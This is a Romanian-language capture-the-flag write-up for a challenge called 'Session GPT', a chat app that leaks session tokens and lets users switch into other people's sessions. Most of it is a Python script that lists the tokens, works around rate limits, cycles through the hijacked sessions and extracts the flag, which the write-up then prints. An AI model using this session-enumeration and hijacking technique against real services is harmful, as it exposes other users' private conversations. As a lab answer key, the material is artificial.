Session-gpt

Aplicatia permite schimbarea sesiunii prin token. Endpoint-ul de chat returneaza lista de sesiuni valide, iar una contine deja flagul in istoric.

Sumar

Aplicatia permite schimbarea sesiunii prin token (switch to <token>). Endpoint-ul de chat returneaza lista de sesiuni valide, iar una dintre ele contine deja mesajul cu flag in istoric. Exploit-ul corect este simplu:

  1. Obtii cookie de sesiune.
  2. Ceri lista de sesiuni.
  3. Gasesti tokenul corect printr-un script.
  4. Reincarci pagina si extragi flagul din HTML.

Dovada rezolvarii

  1. Initial siteul se prezinta ca un AI Chat, asa numit Session GPT.

Ecranul de chat Session GPT

  1. Analizand mai departe siteul am observat ca sesiunile sunt pe baza unor tokene de Flask.

Cookie de sesiune Flask returnat

  1. Mai sus putem vedea ca am primit asa zisa comanda de “List sessions”, prin urmare putem face rost de fiecare session token.

Lista de session tokens

  1. Endpointul este /api/chat.

Request-ul catre /api/chat

  1. Asadar ramane sa citim fiecare conversatie, dupa ce schimbam sesiunea si primim un token nou. Putem sa realizam asta rapid printr-un script de python:
#!/usr/bin/env python3
import html
import re
import sys
import time

import requests

BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://35.246.217.246:31278").rstrip("/")
s = requests.Session()

TOK_RE = re.compile(r"\b[a-z0-9]{8}\b")
FLAG_RE = re.compile(r"ctf\{[^}]+\}", re.I)


def parse_int(v, default):
    try:
        return int(v)
    except Exception:
        return default


def req(method, path, **kwargs):
    while True:
        try:
            r = s.request(method, f"{BASE}{path}", timeout=20, **kwargs)
        except requests.RequestException as e:
            print(f"net error: {e}", flush=True)
            time.sleep(2)
            continue
        if r.status_code == 429:
            wait = parse_int(r.headers.get("X-RateLimit-Reset"), 60) + 1
            print(f"rate limited, sleeping {wait}s", flush=True)
            time.sleep(wait)
            continue
        rem = parse_int(r.headers.get("X-RateLimit-Remaining"), 2)
        if rem <= 1:
            wait = parse_int(r.headers.get("X-RateLimit-Reset"), 60) + 1
            print(f"rate window exhausted, sleeping {wait}s", flush=True)
            time.sleep(wait)
        return r


def chat(msg):
    while True:
        r = req("POST", "/api/chat", json={"message": msg})
        try:
            j = r.json()
        except ValueError:
            return ""
        if j.get("ok") is False and "rate" in str(j.get("error", "")).lower():
            wait = parse_int(r.headers.get("X-RateLimit-Reset"), 60) + 1
            print(f"chat blocked, sleeping {wait}s", flush=True)
            time.sleep(wait)
            continue
        return str(j.get("reply", ""))


def extract_tokens(text):
    out = []
    seen = set()
    for t in TOK_RE.findall(text.lower()):
        if any(c.isdigit() for c in t) and t not in seen:
            seen.add(t)
            out.append(t)
    return out


def uniq(items):
    seen = set()
    out = []
    for x in items:
        if x not in seen:
            seen.add(x)
            out.append(x)
    return out


req("GET", "/")
reply = chat("list sessions")
page = html.unescape(req("GET", "/").text)
tokens = uniq(extract_tokens(reply) + extract_tokens(page))
print(f"tokens: {len(tokens)}", flush=True)

if not tokens:
    print("No session tokens found")
    sys.exit(1)

for i, tok in enumerate(tokens, 1):
    print(f"[{i}/{len(tokens)}] {tok}", flush=True)
    chat(f"switch to {tok}")
    page = html.unescape(req("GET", "/").text)
    m = FLAG_RE.search(page)
    if m:
        print(f"FOUND in {tok}: {m.group(0)}", flush=True)
        sys.exit(0)

print("No flag found in listed sessions")

Rezultatul scriptului gaseste sesiunea care contine flagul:

Scriptul gaseste flagul in sesiunea m3n4o5p6

Flag: ctf{4620c10465bb2c85c2bc9804972bb75c1d72a4782100d09d1a0bb72eb576b772}